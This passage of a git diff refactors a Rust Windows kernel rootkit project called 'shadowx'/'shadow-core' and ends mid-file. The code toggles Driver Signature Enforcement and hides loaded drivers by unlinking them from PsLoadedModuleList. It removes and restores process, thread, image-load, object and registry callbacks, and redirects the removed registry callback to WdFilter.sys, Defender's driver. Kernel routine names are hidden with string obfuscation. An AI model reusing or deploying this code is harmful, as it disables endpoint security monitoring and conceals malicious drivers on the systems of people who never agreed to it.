-/// Represents a structure to enable or disable Driver Signature Enforcement (DSE). -/// -/// This struct is used to toggle the state of DSE, with the `enable` field indicating whether -/// DSE is currently enabled or disabled. +/// Represents a structure to enable or disable Driver Signature Enforcement (DSE).. #[repr(C)] #[derive(Debug, Default)] pub struct DSE { - /// A boolean flag to enable or disable DSE. `true` means DSE is enabled, `false` means it is disabled. + /// A boolean flag to enable or disable DSE. pub enable: bool, } /// Represents the target driver for operations like hiding or revealing it. -/// -/// This struct holds information about a driver, specifically its name and a flag indicating whether -/// it should be enabled (visible) or hidden. #[repr(C)] #[derive(Debug, Default)] pub struct TargetDriver { - /// The name of the target driver as a dynamic string (heap-allocated). + /// The name of the target driver as a dynamic string. pub name: alloc::string::String, - /// A boolean flag that indicates whether the driver is enabled (visible) or hidden. + /// A boolean flag that indicates whether the driver is enabled or hidden. pub enable: bool, - /// A pointer to the `LIST_ENTRY` structure representing the driver's list in the system. + /// A pointer to the `LIST_ENTRY` structure. pub list_entry: AtomicPtr, - /// A pointer to the `LDR_DATA_TABLE_ENTRY` structure that represents the driver's data in the system. + /// A pointer to the `LDR_DATA_TABLE_ENTRY` structure. pub driver_entry: AtomicPtr, } diff --git a/shadowx/Cargo.toml b/crates/shadow-core/Cargo.toml similarity index 96% rename from shadowx/Cargo.toml rename to crates/shadow-core/Cargo.toml index 0743176..a95e094 100644 --- a/shadowx/Cargo.toml +++ b/crates/shadow-core/Cargo.toml @@ -1,5 +1,5 @@ [package] -name = "shadowx" +name = "shadow-core" version = "0.1.0" edition = "2021" diff --git a/shadowx/src/callback/mod.rs b/crates/shadow-core/src/callback/mod.rs similarity index 68% rename from shadowx/src/callback/mod.rs rename to crates/shadow-core/src/callback/mod.rs index 08cea14..1efccc6 100644 --- a/shadowx/src/callback/mod.rs +++ b/crates/shadow-core/src/callback/mod.rs @@ -1,32 +1,23 @@ -use obfstr::obfstr as s; -use wdk_sys::{ - PsProcessType, - PsThreadType, - ntddk::MmGetSystemRoutineAddress -}; - use common::enums::Callbacks; -use crate::utils::{ - patterns::scan_for_pattern, - uni::str_to_unicode -}; +use obfstr::obfstr as s; +use wdk_sys::{ntddk::MmGetSystemRoutineAddress, PsProcessType, PsThreadType}; + +use crate::utils::{patterns::scan_for_pattern, uni::str_to_unicode}; use crate::{ - Result, data::FULL_OBJECT_TYPE, - error::ShadowError, + error::{ShadowError, ShadowResult}, }; -/// This module implements various types of callbacks used throughout the project. -mod callbacks; -pub use callbacks::*; +pub mod notify_routine; +pub mod object; +pub mod registry; /// Finds the address of the `PsSetCreateProcessNotifyRoutine` routine. /// /// # Returns /// -/// * `Ok(*mut u8)` - The pointer to the routine's address if found. -/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning. -unsafe fn find_ps_create_process() -> Result<*mut u8> { +/// The pointer to the routine's address if found. +unsafe fn find_ps_create_process() -> ShadowResult<*mut u8> { let mut name = str_to_unicode(s!("PsSetCreateProcessNotifyRoutine")).to_unicode(); let function_address = MmGetSystemRoutineAddress(&mut name); @@ -42,9 +33,8 @@ unsafe fn find_ps_create_process() -> Result<*mut u8> { /// /// # Returns /// -/// * `Ok(*mut u8)` - The pointer to the routine's address if found. -/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning. -unsafe fn find_ps_create_thread() -> Result<*mut u8> { +/// The pointer to the routine's address if found. +unsafe fn find_ps_create_thread() -> ShadowResult<*mut u8> { let mut name = str_to_unicode(s!("PsRemoveCreateThreadNotifyRoutine")).to_unicode(); let function_address = MmGetSystemRoutineAddress(&mut name); @@ -57,9 +47,8 @@ unsafe fn find_ps_create_thread() -> Result<*mut u8> { /// /// # Returns /// -/// * `Ok(*mut u8)` - The pointer to the routine's address if found. -/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning. -unsafe fn find_ps_load_image() -> Result<*mut u8> { +/// The pointer to the routine's address if found. +unsafe fn find_ps_load_image() -> ShadowResult<*mut u8> { let mut name = str_to_unicode(s!("PsSetLoadImageNotifyRoutineEx")).to_unicode(); let function_address = MmGetSystemRoutineAddress(&mut name); @@ -72,10 +61,8 @@ unsafe fn find_ps_load_image() -> Result<*mut u8> { /// /// # Returns /// -/// * `Ok((*mut u8, *mut u8, *mut u8))` - A tuple containing the callback list head, callback count, -/// and the callback list lock if found. -/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning. -unsafe fn find_cm_register_callback() -> Result<(*mut u8, *mut u8, *mut u8)> { +/// A tuple containing the callback list head, callback count, and the callback list lock if found. +unsafe fn find_cm_register_callback() -> ShadowResult<(*mut u8, *mut u8, *mut u8)> { let mut name = str_to_unicode(s!("CmRegisterCallbackEx")).to_unicode(); let function_address = MmGetSystemRoutineAddress(&mut name); @@ -135,9 +122,8 @@ unsafe fn find_cm_register_callback() -> Result<(*mut u8, *mut u8, *mut u8)> { /// /// # Returns /// -/// * `Ok(*mut FULL_OBJECT_TYPE)` - The pointer to the object type associated with the callback if found. -/// * `Err(ShadowError)` - If the callback type is not recognized or an error occurs. -pub fn find_ob_register_callback(callback: &Callbacks) -> Result<*mut FULL_OBJECT_TYPE> { +/// The pointer to the object type associated with the callback if found. +pub fn find_ob_register_callback(callback: &Callbacks) -> ShadowResult<*mut FULL_OBJECT_TYPE> { match callback { Callbacks::ObProcess => Ok(unsafe { (*PsProcessType) as *mut FULL_OBJECT_TYPE }), Callbacks::ObThread => Ok(unsafe { (*PsThreadType) as *mut FULL_OBJECT_TYPE }), @@ -153,9 +139,8 @@ pub fn find_ob_register_callback(callback: &Callbacks) -> Result<*mut FULL_OBJEC /// /// # Returns /// -/// * `Ok(CallbackResult)` - A result containing the address of the callback or related components. -/// * `Err(ShadowError)` - If the callback is not found or an error occurs. -pub unsafe fn find_callback_address(callback: &Callbacks) -> Result { +/// A result containing the address of the callback or related components. +pub unsafe fn find_callback_address(callback: &Callbacks) -> ShadowResult { match callback { Callbacks::PsSetCreateProcessNotifyRoutine => { find_ps_create_process().map(CallbackResult::Notify) @@ -163,9 +148,7 @@ pub unsafe fn find_callback_address(callback: &Callbacks) -> Result { find_ps_create_thread().map(CallbackResult::Notify) } - Callbacks::PsSetLoadImageNotifyRoutine => { - find_ps_load_image().map(CallbackResult::Notify) - } + Callbacks::PsSetLoadImageNotifyRoutine => find_ps_load_image().map(CallbackResult::Notify), Callbacks::CmRegisterCallbackEx => { find_cm_register_callback().map(CallbackResult::Registry) } @@ -176,14 +159,11 @@ pub unsafe fn find_callback_address(callback: &Callbacks) -> Result>> = + Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_CALLBACK))); + +/// Restores a previously removed callback by its index. +/// +/// # Arguments +/// +/// * `callback` - The type of callback to be restored (e.g., process, thread, registry). +/// * `index` - The index of the callback to restore. +/// +/// # Returns +/// +/// A success state if the callback is successfully restored. +pub unsafe fn restore(callback: Callbacks, index: usize) -> ShadowResult { + // Lock the removed callbacks to ensure thread-safe access + let mut callbacks = INFO_CALLBACK_RESTAURE_NOTIFY.lock(); + + // Find the removed callback by its index + let index = callbacks + .iter() + .position(|c| c.callback == callback && c.index == index) + .ok_or(ShadowError::IndexNotFound(index))?; + + // Retrieve the callback address based on the callback type + let address = match find_callback_address(&callback)? { + CallbackResult::Notify(addr) => addr, + _ => return Err(ShadowError::CallbackNotFound), + }; + + // Restore the callback by writing back its address + let addr = address.offset((callbacks[index].index * 8) as isize); + *(addr as *mut u64) = callbacks[index].address; + + // Remove the restored callback from the saved list + callbacks.remove(index); + + Ok(STATUS_SUCCESS) +} + +/// Removes a callback from a notification routine. +/// +/// # Arguments +/// +/// * `callback` - The type of callback to remove. +/// * `index` - The index of the callback to remove. +/// +/// # Returns +/// +/// If the callback is successfully removed. +pub unsafe fn remove(callback: Callbacks, index: usize) -> ShadowResult { + // Retrieve the callback address based on the callback type + let address = match find_callback_address(&callback)? { + CallbackResult::Notify(addr) => addr, + _ => return Err(ShadowError::CallbackNotFound), + }; + + // Calculate the callback address to be removed + let addr = address.offset((index as isize) * 8); + + // Save the removed callback information + let callback = CallbackRestaure { + index, + callback, + address: *(addr as *mut u64), + }; + + let mut callback_info = INFO_CALLBACK_RESTAURE_NOTIFY.lock(); + callback_info.push(callback); + + // Remove the callback by setting its address to 0 + *(addr as *mut u64) = 0; + + Ok(STATUS_SUCCESS) +} + +/// Enumerates the modules associated with callbacks and populates callback information. +/// +/// # Arguments +/// +/// * `callback` - The type of callback to enumerate. +/// +/// # Returns +/// +/// Containing the list of callbacks. +pub unsafe fn enumerate(callback: Callbacks) -> ShadowResult> { + let mut callbacks = Vec::new(); + + // Get the address of the callback from the system + let address = match find_callback_address(&callback)? { + CallbackResult::Notify(addr) => addr, + _ => return Err(ShadowError::CallbackNotFound), + }; + + // Iterate over loaded modules to find the module corresponding to each callback + let (mut ldr_data, module_count) = modules()?; + let start_entry = ldr_data; + + for i in 0..64 { + let addr = address.cast::().offset(i * 8); + let callback = *(addr as *const u64); + + if callback == 0 { + continue; + } + + // Iterate through the loaded modules to find the one associated with the callback + for _ in 0..module_count { + let start_address = (*ldr_data).DllBase; + let image_size = (*ldr_data).SizeOfImage; + let end_address = start_address as u64 + image_size as u64; + let raw_pointer = *((callback & 0xfffffffffffffff8) as *const u64); + + // Check if the callback addresses fall within the module's memory range + if raw_pointer > start_address as u64 && raw_pointer < end_address { + let buffer = core::slice::from_raw_parts( + (*ldr_data).BaseDllName.Buffer, + ((*ldr_data).BaseDllName.Length / 2) as usize, + ); + + // Store the callback information + let mut name = [0u16; 256]; + let length = core::cmp::min(buffer.len(), 255); + name[..length].copy_from_slice(&buffer[..length]); + + callbacks.push(CallbackInfoOutput { + index: i as u8, + address: raw_pointer as usize, + name, + ..Default::default() + }); + + break; + } + + // Move to the next module + ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; + } + + // Reset the module list pointer for the next callback + ldr_data = start_entry; + } + + Ok(callbacks) +} + +/// Enumerates all removed callbacks and provides detailed information. +/// +/// # Returns +/// +/// Containing the list of removed callbacks. +pub unsafe fn enumerate_removed() -> ShadowResult> { + let mut callbacks = Vec::new(); + + let callbacks_removed = INFO_CALLBACK_RESTAURE_NOTIFY.lock(); + let (mut ldr_data, module_count) = modules()?; + let start_entry = ldr_data; + + // Iterate over the removed callbacks + for (i, callback) in callbacks_removed.iter().enumerate() { + for _ in 0..module_count { + let start_address = (*ldr_data).DllBase; + let end_address = start_address as u64 + (*ldr_data).SizeOfImage as u64; + let raw_pointer = *((callback.address & 0xfffffffffffffff8) as *const u64); + + // Check if the callback addresses fall within the module's memory range + if raw_pointer > start_address as u64 && raw_pointer < end_address { + let buffer = core::slice::from_raw_parts( + (*ldr_data).BaseDllName.Buffer, + ((*ldr_data).BaseDllName.Length / 2) as usize, + ); + + // Store the callback information + let mut name = [0u16; 256]; + let length = core::cmp::min(buffer.len(), 255); + name[..length].copy_from_slice(&buffer[..length]); + + callbacks.push(CallbackInfoOutput { + index: callback.index as u8, + address: callback.address as usize, + name, + ..Default::default() + }); + + break; + } + + // Move to the next module + ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; + } + + // Reset the module list pointer for the next callback + ldr_data = start_entry; + } + + Ok(callbacks) +} diff --git a/crates/shadow-core/src/callback/object.rs b/crates/shadow-core/src/callback/object.rs new file mode 100644 index 0000000..e9073c6 --- /dev/null +++ b/crates/shadow-core/src/callback/object.rs @@ -0,0 +1,266 @@ +use alloc::vec::Vec; + +use common::{enums::Callbacks, structs::CallbackInfoOutput}; +use spin::{Lazy, Mutex}; +use wdk_sys::{NTSTATUS, STATUS_SUCCESS}; + +use crate::data::{CallbackRestaureOb, LDR_DATA_TABLE_ENTRY, OBCALLBACK_ENTRY}; +use crate::{ + callback::{find_callback_address, CallbackResult}, + error::{ShadowError, ShadowResult}, + lock::with_push_lock_exclusive, + modules, +}; + +const MAX_CALLBACK: usize = 100; + +/// Stores information about removed callbacks. +static mut INFO_CALLBACK_RESTAURE_OB: Lazy>> = + Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_CALLBACK))); + +/// Restores a previously removed callback by its index. +/// +/// # Arguments +/// +/// * `callback` - The type of callback to be restored (e.g., process, thread, registry). +/// * `index` - The index of the callback to restore. +/// +/// # Returns +/// +/// A success state if the callback is successfully restored. +pub unsafe fn restore(callback: Callbacks, index: usize) -> ShadowResult { + // Lock the removed callbacks to ensure thread-safe access + let mut callbacks = INFO_CALLBACK_RESTAURE_OB.lock(); + + // Find the callback by its index + let index = callbacks + .iter() + .position(|c| c.callback == callback && c.index == index) + .ok_or(ShadowError::IndexNotFound(index))?; + + // Retrieve the callback address based on the callback type + let full_object = match find_callback_address(&callback)? { + CallbackResult::Object(addr) => addr, + _ => return Err(ShadowError::CallbackNotFound), + }; + + // Acquire exclusive access to the TypeLock associated with the callback object + let lock = &(*full_object).TypeLock as *const _ as *mut u64; + with_push_lock_exclusive(lock, || { + let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY; + let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY; + + // Traverse the list of callback entries to find the one matching the removed entry + while next != current { + if !(*next).Enabled && !next.is_null() && (*next).Entry as u64 == callbacks[index].entry + { + // Re-enable the callback and remove it from the removed list + (*next).Enabled = true; + callbacks.remove(index); + + return Ok(STATUS_SUCCESS); + } + + next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY; + } + + Err(ShadowError::RestoringFailureCallback) + }) +} + +/// Removes a callback from a notification routine. +/// +/// # Arguments +/// +/// * `callback` - The type of callback to remove. +/// * `index` - The index of the callback to remove. +/// +/// # Returns +/// +/// If the callback is successfully removed. +pub unsafe fn remove(callback: Callbacks, index: usize) -> ShadowResult { + // Retrieve the callback address based on the callback type + let full_object = match find_callback_address(&callback)? { + CallbackResult::Object(addr) => addr, + _ => return Err(ShadowError::CallbackNotFound), + }; + + // Acquire exclusive access to the TypeLock associated with the callback object + let lock = &(*full_object).TypeLock as *const _ as *mut u64; + with_push_lock_exclusive(lock, || { + let mut i = 0; + let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY; + let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY; + let mut callback_info = INFO_CALLBACK_RESTAURE_OB.lock(); + + // Traverse the list of callback entries + while next != current { + if i == index { + if (*next).Enabled { + // Store the removed callback in the list of removed callbacks + let callback_restaure = CallbackRestaureOb { + index, + callback, + entry: (*next).Entry as u64, + pre_operation: (*next).PreOperation.map_or(0u64, |pre_op| pre_op as u64), + post_operation: (*next) + .PostOperation + .map_or(0u64, |post_op| post_op as u64), + }; + + // Disable the callback + (*next).Enabled = false; + callback_info.push(callback_restaure); + } + + return Ok(STATUS_SUCCESS); + } + + // Move to the next entry in the callback list + next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY; + i += 1; + } + + Err(ShadowError::RemoveFailureCallback) + }) +} + +/// Enumerates the modules associated with callbacks and populates callback information. +/// +/// # Arguments +/// +/// * `callback` - The type of callback to enumerate. +/// +/// # Returns +/// +/// Containing the list of callbacks. +pub unsafe fn enumerate(callback: Callbacks) -> ShadowResult> { + let mut callbacks = Vec::new(); + + // Retrieve the callback address based on the callback type + let full_object = match find_callback_address(&callback)? { + CallbackResult::Object(addr) => addr, + _ => return Err(ShadowError::CallbackNotFound), + }; + + let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY; + let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY; + let mut list_objects = Vec::new(); + + // Collect the information about each callback + while next != current { + let pre_op_addr = (*next).PreOperation.map_or(0u64, |pre_op| pre_op as u64); + let post_op_addr = (*next).PostOperation.map_or(0u64, |post_op| post_op as u64); + + list_objects.push(((*next).Enabled, (pre_op_addr, post_op_addr))); + next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY; + } + + // Iterate over loaded modules to find the module corresponding to each callback + let (mut ldr_data, module_count) = modules()?; + let start_entry = ldr_data; + let mut current_index = 0; + + for (i, (enabled, addrs)) in list_objects.iter().enumerate() { + if !enabled { + current_index += 1; + continue; + } + + for _ in 0..module_count { + let start_address = (*ldr_data).DllBase; + let end_address = start_address as u64 + (*ldr_data).SizeOfImage as u64; + let pre_operation = addrs.0; + let post_operation = addrs.1; + + // Check if the callback addresses fall within the module's memory range + if pre_operation > start_address as u64 && pre_operation < end_address + || post_operation > start_address as u64 && post_operation < end_address + { + let buffer = core::slice::from_raw_parts( + (*ldr_data).BaseDllName.Buffer, + ((*ldr_data).BaseDllName.Length / 2) as usize, + ); + + // Store the callback information + let mut name = [0u16; 256]; + let length = core::cmp::min(buffer.len(), 255); + name[..length].copy_from_slice(&buffer[..length]); + + callbacks.push(CallbackInfoOutput { + index: current_index, + name, + pre_operation: pre_operation as usize, + post_operation: post_operation as usize, + address: 0, + }); + + current_index += 1; + break; + } + + // Move to the next module + ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; + } + + // Reset ldr_data for the next callback + ldr_data = start_entry; + } + + Ok(callbacks) +} + +/// Enumerates all removed callbacks and provides detailed information. +/// +/// # Returns +/// +/// Containing the list of removed callbacks. +pub unsafe fn enumerate_removed() -> ShadowResult> { + let mut callbacks = Vec::new(); + let callbacks_removed = INFO_CALLBACK_RESTAURE_OB.lock(); + let (mut ldr_data, module_count) = modules()?; + let start_entry = ldr_data; + + // Iterate over the removed callbacks + for (i, callback) in callbacks_removed.iter().enumerate() { + for _ in 0..module_count { + let start_address = (*ldr_data).DllBase; + let image_size = (*ldr_data).SizeOfImage; + let end_address = start_address as u64 + image_size as u64; + + // Check if the callback addresses fall within the module's memory range + if callback.pre_operation > start_address as u64 && callback.pre_operation < end_address + || callback.post_operation > start_address as u64 + && callback.post_operation < end_address + { + let buffer = core::slice::from_raw_parts( + (*ldr_data).BaseDllName.Buffer, + ((*ldr_data).BaseDllName.Length / 2) as usize, + ); + + // Store the removed callback information + let mut name = [0u16; 256]; + let length = core::cmp::min(buffer.len(), 255); + name[..length].copy_from_slice(&buffer[..length]); + + callbacks.push(CallbackInfoOutput { + index: callback.index as u8, + name, + pre_operation: callback.pre_operation as usize, + post_operation: callback.post_operation as usize, + address: 0, + }); + + break; + } + + // Move to the next module + ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; + } + + // Reset the module list pointer for the next callback + ldr_data = start_entry; + } + + Ok(callbacks) +} diff --git a/crates/shadow-core/src/callback/registry.rs b/crates/shadow-core/src/callback/registry.rs new file mode 100644 index 0000000..39e274d --- /dev/null +++ b/crates/shadow-core/src/callback/registry.rs @@ -0,0 +1,259 @@ +use alloc::vec::Vec; + +use common::{enums::Callbacks, structs::CallbackInfoOutput}; +use spin::{Lazy, Mutex}; +use wdk_sys::{NTSTATUS, STATUS_SUCCESS}; + +use super::CallbackResult; +use crate::data::{CallbackRestaure, CM_CALLBACK, LDR_DATA_TABLE_ENTRY}; +use crate::{ + callback::find_callback_address, + error::{ShadowError, ShadowResult}, + lock::with_push_lock_exclusive, + modules, +}; + +const MAX_CALLBACK: usize = 100; + +/// Stores information about removed callbacks. +static mut INFO_CALLBACK_RESTAURE_REGISTRY: Lazy>> = + Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_CALLBACK))); + +/// Restores a previously removed callback by its index. +/// +/// # Arguments +/// +/// * `callback` - The type of callback to be restored. +/// * `index` - The index of the callback to restore. +/// +/// # Returns +/// +/// A success state if the callback is successfully restored. +pub unsafe fn restore(callback: Callbacks, index: usize) -> ShadowResult { + // Lock the removed callbacks to ensure thread-safe access + let mut callbacks_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock(); + + // Locating the target callback index + let index = callbacks_info + .iter() + .position(|c| c.callback == callback && c.index == index) + .ok_or(ShadowError::IndexNotFound(index))?; + + // Retrieve the callback address based on the callback type + let (callback, count, lock) = + if let CallbackResult::Registry(addr) = find_callback_address(&callback)? { + addr + } else { + return Err(ShadowError::CallbackNotFound); + }; + + // Getting a lock to perform the restore operation + with_push_lock_exclusive(lock as *mut u64, || { + let count = *(count as *mut u32) + 1; + let mut pcm_callback = callback as *mut CM_CALLBACK; + + for i in 0..count { + if pcm_callback.is_null() { + break; + } + + if i == index as u32 { + // If the index is matched, restore from the list + (*pcm_callback).Function = callbacks_info[index].address; + callbacks_info.remove(index); + + return Ok(STATUS_SUCCESS); + } + + pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK; + } + + Err(ShadowError::RestoringFailureCallback) + }) +} + +/// Removes a callback from the specified routine. +/// +/// # Arguments +/// +/// * `target_callback` - Pointer to the callback information input. +/// +/// # Returns +/// +/// If the callback is successfully removed. +pub unsafe fn remove(callback: Callbacks, index: usize) -> ShadowResult { + // Retrieve the callback address based on the callback type + let (callbacks, count, lock) = + if let CallbackResult::Registry(addr) = find_callback_address(&callback)? { + addr + } else { + return Err(ShadowError::CallbackNotFound); + }; + + // Getting a lock to perform the remove operation + with_push_lock_exclusive(lock as *mut u64, || { + let count = *(count as *mut u32) + 1; + let mut pcm_callback = callbacks as *mut CM_CALLBACK; + let mut callbacks_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock(); + let mut prev_addr = 0; + + for i in 0..count { + if i == 1 { + // Here we make an exchange, changing the target address to `WdFilter.sys` + prev_addr = (*pcm_callback).Function; + } + + if pcm_callback.is_null() { + break; + } + + if i == index as u32 { + let callback_restaure = CallbackRestaure { + index, + callback, + address: (*pcm_callback).Function, + ..Default::default() + }; + + // If the index is matched, remove from the list + (*pcm_callback).Function = prev_addr; + callbacks_info.push(callback_restaure); + + return Ok(STATUS_SUCCESS); + } + + pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK; + } + + Err(ShadowError::RemoveFailureCallback) + }) +} + +/// Searches for a module associated with a callback and updates callback information. +/// +/// # Arguments +/// +/// * `target_callback` - Pointer to the callback information input. +/// * `callback_info` - Pointer to the callback information output. +/// * `information` - Pointer to a variable to store information size. +/// +/// # Returns +/// +/// Status of the operation. +pub unsafe fn enumerate(callback: Callbacks) -> ShadowResult> { + // Retrieve the callback address based on the callback type + let (callback, count, lock) = + if let CallbackResult::Registry(addr) = find_callback_address(&callback)? { + addr + } else { + return Err(ShadowError::CallbackNotFound); + }; + + let (mut ldr_data, module_count) = modules()?; + let start_entry = ldr_data; + + let mut callbacks = Vec::new(); + let count = *(count as *mut u32) + 1; + let mut pcm_callback = callback as *mut CM_CALLBACK; + + with_push_lock_exclusive(lock as *mut u64, || { + for i in 0..count as isize { + if pcm_callback.is_null() { + break; + } + + // Iterate over the loaded modules + for _ in 0..module_count { + let start_address = (*ldr_data).DllBase; + let image_size = (*ldr_data).SizeOfImage; + let end_address = start_address as u64 + image_size as u64; + let addr = (*pcm_callback).Function; + + if addr > start_address as u64 && addr < end_address { + let buffer = core::slice::from_raw_parts( + (*ldr_data).BaseDllName.Buffer, + ((*ldr_data).BaseDllName.Length / 2) as usize, + ); + + // Store the callback information + let mut name = [0u16; 256]; + let length = core::cmp::min(buffer.len(), 255); + name[..length].copy_from_slice(&buffer[..length]); + + callbacks.push(CallbackInfoOutput { + index: i as u8, + address: addr as usize, + name, + ..Default::default() + }); + + break; + } + + // Go to the next module in the list + ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; + } + + // Reset ldr_data for next callback + ldr_data = start_entry; + pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK; + } + + Ok(callbacks) + }) +} + +/// List of callbacks currently removed. +/// +/// # Arguments +/// +/// * `target_callback` - Pointer to the callback information input. +/// * `callback_info` - Pointer to the callback information output. +/// * `information` - Pointer to a variable to store information size. +/// +/// # Returns +/// +/// Status of the operation. +pub unsafe fn enumerate_removed() -> ShadowResult> { + let mut callbacks = Vec::new(); + let callbacks_removed = INFO_CALLBACK_RESTAURE_REGISTRY.lock(); + let (mut ldr_data, module_count) = modules()?; + let start_entry = ldr_data; + + for (i, callback) in callbacks_removed.iter().enumerate() { + for _ in 0..module_count { + let start_address = (*ldr_data).DllBase; + let image_size = (*ldr_data).SizeOfImage; + let end_address = start_address as u64 + image_size as u64; + + if callback.address > start_address as u64 && callback.address < end_address { + let buffer = core::slice::from_raw_parts( + (*ldr_data).BaseDllName.Buffer, + ((*ldr_data).BaseDllName.Length / 2) as usize, + ); + + // Store the callback information + let mut name = [0u16; 256]; + let length = core::cmp::min(buffer.len(), 255); + name[..length].copy_from_slice(&buffer[..length]); + + callbacks.push(CallbackInfoOutput { + index: callback.index as u8, + address: callback.address as usize, + name, + ..Default::default() + }); + + break; + } + + // Move to the next module + ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; + } + + // Reset the module list pointer for the next callback + ldr_data = start_entry; + } + + Ok(callbacks) +} diff --git a/shadowx/src/data/enums.rs b/crates/shadow-core/src/data/enums.rs similarity index 100% rename from shadowx/src/data/enums.rs rename to crates/shadow-core/src/data/enums.rs diff --git a/shadowx/src/data/externs.rs b/crates/shadow-core/src/data/externs.rs similarity index 100% rename from shadowx/src/data/externs.rs rename to crates/shadow-core/src/data/externs.rs diff --git a/shadowx/src/data/mod.rs b/crates/shadow-core/src/data/mod.rs similarity index 100% rename from shadowx/src/data/mod.rs rename to crates/shadow-core/src/data/mod.rs diff --git a/shadowx/src/data/structs.rs b/crates/shadow-core/src/data/structs.rs similarity index 100% rename from shadowx/src/data/structs.rs rename to crates/shadow-core/src/data/structs.rs diff --git a/shadowx/src/data/types.rs b/crates/shadow-core/src/data/types.rs similarity index 100% rename from shadowx/src/data/types.rs rename to crates/shadow-core/src/data/types.rs diff --git a/shadowx/src/driver.rs b/crates/shadow-core/src/driver.rs similarity index 81% rename from shadowx/src/driver.rs rename to crates/shadow-core/src/driver.rs index 9e31a57..bed5280 100644 --- a/shadowx/src/driver.rs +++ b/crates/shadow-core/src/driver.rs @@ -3,22 +3,20 @@ use alloc::{ vec::Vec, }; +use common::structs::DriverInfo; use obfstr::obfstr; use wdk_sys::{ - LIST_ENTRY, NTSTATUS, - PLIST_ENTRY, STATUS_SUCCESS, - ntddk::MmGetSystemRoutineAddress, + ntddk::MmGetSystemRoutineAddress, LIST_ENTRY, NTSTATUS, PLIST_ENTRY, STATUS_SUCCESS, }; -use common::structs::DriverInfo; -use crate::{Result, error::ShadowError, uni}; use crate::data::PsLoadedModuleResource; use crate::{ + error::{ShadowError, ShadowResult}, + uni, +}; +use crate::{ + lock::{with_eresource_exclusive_lock, with_eresource_shared_lock}, LDR_DATA_TABLE_ENTRY, - lock::{ - with_eresource_exclusive_lock, - with_eresource_shared_lock - }, }; /// Represents driver manipulation operations. @@ -33,15 +31,17 @@ impl Driver { /// /// # Returns /// - /// * `Ok((LIST_ENTRY, LDR_DATA_TABLE_ENTRY))` - Returns a tuple containing the previous `LIST_ENTRY` - /// and the `LDR_DATA_TABLE_ENTRY` of the hidden driver, which can be used later to restore the driver in the list. - /// * `Err(ShadowError)` - If the driver is not found or a failure occurs during the process. - pub unsafe fn hide_driver(driver_name: &str) -> Result<(LIST_ENTRY, LDR_DATA_TABLE_ENTRY)> { + /// Tuple containing the previous `LIST_ENTRY` and the `LDR_DATA_TABLE_ENTRY` of the hidden driver, + /// which can be used later to restore the driver in the list. + pub unsafe fn hide_driver( + driver_name: &str, + ) -> ShadowResult<(LIST_ENTRY, LDR_DATA_TABLE_ENTRY)> { // Convert "PsLoadedModuleList" to a UNICODE_STRING to get its address let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList")); // Get the address of the PsLoadedModuleList, which contains the list of loaded drivers - let ldr_data = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY; + let ldr_data = + MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY; if ldr_data.is_null() { return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY")); } @@ -105,13 +105,12 @@ impl Driver { /// /// # Returns /// - /// * `Ok(STATUS_SUCCESS)` - If the driver is successfully restored to the list. - /// * `Err(ShadowError)` - If an error occurs during the restoration process. + /// If the driver is successfully restored to the list. pub unsafe fn unhide_driver( driver_name: &str, list_entry: PLIST_ENTRY, driver_entry: *mut LDR_DATA_TABLE_ENTRY, - ) -> Result { + ) -> ShadowResult { with_eresource_exclusive_lock(PsLoadedModuleResource, || { // Restore the driver's link pointers (*driver_entry).InLoadOrderLinks.Flink = (*list_entry).Flink as *mut LIST_ENTRY; @@ -132,18 +131,16 @@ impl Driver { /// /// # Returns /// - /// * `Ok(Vec)` - A vector of `DriverInfo` structs, each containing the name, base address, - /// and index of a loaded driver. - /// * `Err(ShadowError)` - If the function fails to access the `PsLoadedModuleList` or any other - /// errors occur during the process. - pub unsafe fn enumerate_driver() -> Result> { + /// A vector of [`DriverInfo`] structs. + pub unsafe fn enumerate_driver() -> ShadowResult> { let mut drivers = Vec::with_capacity(276); // Convert "PsLoadedModuleList" to a UNICODE_STRING to get its address let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList")); // Get the address of the PsLoadedModuleList, which contains the list of loaded drivers - let ldr_data = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY; + let ldr_data = + MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY; if ldr_data.is_null() { return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY")); } diff --git a/shadowx/src/error.rs b/crates/shadow-core/src/error.rs similarity index 52% rename from shadowx/src/error.rs rename to 